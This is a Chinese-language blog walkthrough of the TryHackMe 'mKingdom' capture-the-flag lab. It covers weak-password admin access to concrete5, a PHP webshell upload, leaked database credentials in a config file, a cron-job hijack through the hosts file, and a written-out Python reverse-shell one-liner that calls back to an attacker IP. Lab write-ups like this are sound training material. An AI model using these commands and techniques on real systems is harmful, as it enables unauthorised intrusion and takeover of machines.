TryHackMe-mKingdom

发布于 2024-06-23  958 次阅读


简介:

Beginner-friendly box inspired by a certain mustache man.

房间链接:

https://tryhackme.com/r/room/mkingdom

问题:

挑战开始:

首先扫描下端口

└─$ nmap 10.10.0.105    
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-06-23 05:29 EDT
Nmap scan report for 10.10.0.105
Host is up (0.25s latency).
Not shown: 999 closed tcp ports (conn-refused)
PORT   STATE SERVICE
85/tcp open  mit-ml-dev

发现开放了85端口,访问下

但是并没有其他信息
尝试扫描下目录

发现app目录,访问

点击jump

在页面最下面发现是concrete5 CMS

直接尝试后台登录

(⊙o⊙)…ip被封了。。
这就有点抽象了。。重新连VPN还不换IP
阿这
开了个在线的机器尝试
测试了几个弱口令admin,password
成功进入后台

通过检查,可以在系统设置-文件中添加php后缀

保存后
直接在file中上传shell
我这里传的一个好用的webshell
https://github.com/flozz/p0wny-shell
上传后会返回url
直接访问,成功get shell

先尝试提权
find / -user root -perm -4000 -exec ls -ldb {} \;
但是并没有什么可以利用的项
其实这儿可以用linpeas
但是个人比较懒
先看看网站的配置文件

这儿获取了一个账号密码

<?php

return [
    'default-connection' => 'concrete',
    'connections' => [
        'concrete' => [
            'driver' => 'c5_pdo_mysql',
            'server' => 'localhost',
            'database' => 'mKingdom',
            'username' => 'toad',
            'password' => 'toadisthebest',
            'character_set' => 'utf8',
            'collation' => 'utf8_unicode_ci',
        ],
    ],
];

查看了下用户,发现正好存在toad用户

因为没有开22端口,没法ssh
这里需要一个交互shell
python -c "import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('10.17.89.2',8989));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i']);"
成功收到shell

python -c "import pty;pty.spawn('/bin/bash')"
改下交互

成功切换用户
但是flag并不在用户下,尝试提权,但是并没有什么成果
在一个文件中看到了一点提示

是不是存在什么凭证
最终在env中发现了线索

base64解密ikaTeNTANtES

尝试登录mario账号
成功登录

阿这,没权限

那只能继续提权
并没有什么好用的suid sudo类提权

上传pspy
https://github.com/DominicBreuker/pspy/releases/download/v1.2.1/pspy64

运行后发现每隔一段时间都会下载sh文件并执行

但是我们没权限更改这个sh文件

可以尝试看一下修改域名绑定

发现我们确实可以更改
我们在本地先创建一个文件夹,目录结构保持一致
mkdir -p www/app/castle/application/
直接echo 覆盖 hosts文件

等1分钟成功收到shell

很奇怪,提示权限不足

那就换一种方法

届ける言葉を今は育ててる
最后更新于 2024-06-23